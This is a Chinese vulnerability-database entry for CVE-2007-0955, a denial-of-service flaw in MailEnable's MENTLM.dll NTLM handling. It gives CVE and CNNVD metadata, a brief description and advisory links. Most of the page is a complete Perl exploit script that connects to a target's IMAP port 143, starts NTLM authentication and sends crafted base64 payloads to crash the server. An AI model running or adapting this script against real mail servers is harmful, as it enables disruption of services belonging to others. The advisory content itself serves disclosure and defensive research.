MailEnable 'MENTLM.dll'拒绝服务攻击漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1112219 漏洞类型 未知
发布时间 2007-02-14 更新时间 2007-02-14
CVE编号 CVE-2007-0955 CNNVD-ID CNNVD-200702-299
漏洞平台 Windows CVSS评分 7.8
|漏洞来源
https://www.exploit-db.com/exploits/3308
https://www.securityfocus.com/bid/86611
https://cxsecurity.com/issue/WLB-2007020052
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200702-299
|漏洞详情
MailEnable个人版2.35版本及其早期版本的MENTLM.dll中的NTLM_UnPack_Type3函数allows远程攻击者可以借助某个数据与对端口(143/tcp)的一个AUTHENTICATENTLM指令,造成拒绝服务(应用程序崩溃)。该指令会引起不许可的读取。
|漏洞EXP
#!/usr/bin/perl
#
# maildisable-v7.pl
#
# Mail Enable Professional/Enterprise v2.32-7 (win32)
# by mu-b - Wed Feb 14 2007
#
# - Tested on: Mail Enable Professional v2.37 (win32)
#
########

use Getopt::Std; getopts('t:', \%arg);
use Socket;
use MIME::Base64;

&print_header;

my $target;

if (defined($arg{'t'})) { $target = $arg{'t'} }
if (!(defined($target))) { &usage; }

my $imapd_port = 143;
my $send_delay = 2;

my $PAD = 'A';

if (connect_host($target, $imapd_port)) {
    print("-> * Connected\n");
    send(SOCKET, "1 AUTHENTICATE NTLM\r\n", 0);
    sleep($send_delay);

    $buf = ($PAD x 12).
           "\xfa\xff\xff\xff".
           ($PAD x 12);
    send(SOCKET, encode_base64($buf)."\r\n", 0);
    sleep($send_delay);

    $buf = ($PAD x 28).
           "\x00\x01".
           ($PAD x 2).
           "\xff\xff\xff\x7f";
    send(SOCKET, encode_base64($buf)."\r\n", 0);
    sleep($send_delay);

    print("-> * Successfully sent payload!\n");
}

sub print_header {
    print("MailEnable Pro v2.37 DoS POC\n");
    print("by: <mu-b\@digit-labs.org>\n\n");
}

sub usage {
    print(qq(Usage: $0 -t <hostname>

     -t <hostname>    : hostname to test
));

    exit(1);
}

sub connect_host {
    ($target, $port) = @_;
    $iaddr  = inet_aton($target)                 || die("Error: $!\n");
    $paddr  = sockaddr_in($port, $iaddr)         || die("Error: $!\n");
    $proto  = getprotobyname('tcp')              || die("Error: $!\n");

    socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
    connect(SOCKET, $paddr)                      || die("Error: $!\n");
    return(1338);
}

# milw0rm.com [2007-02-14]
|受影响的产品
MailEnable MailEnable Professional 1.2.2 MailEnable MailEnable Professional 1.0.4 MailEnable MailEnable Professional 2.35 MailEnable MailEnable Professional 2.34 MailEnable MailEnable Pro
|参考资料

来源:XF
名称:mailenable-ntlm-dos(32482)
链接:http://xforce.iss.net/xforce/xfdb/32482
来源:VUPEN
名称:ADV-2007-0614
链接:http://www.frsirt.com/english/advisories/2007/0614
来源:SECUNIA
名称:24139
链接:http://secunia.com/advisories/24139
来源:OSVDB
名称:33195
链接:http://osvdb.org/33195
来源:FULLDISC
名称:20071214MailEnableDoSPOC
链接:http://lists.grok.org.uk/pipermail/full-disclosure/2007-February/052427.html
来源:FULLDISC
名称:20070214MailEnableDoSPOC-2
链接:http://archives.neohapsis.com/archives/fulldisclosure/2007-02/0333.html
来源:FULLDISC
名称:20070214MailEnableDoSPOC
链接:http://archives.neohapsis.com/archives/fulldisclosure/2007-02/0321.html
来源:SREASON
名称:2249
链接:http://securityreason.com/securityalert/2249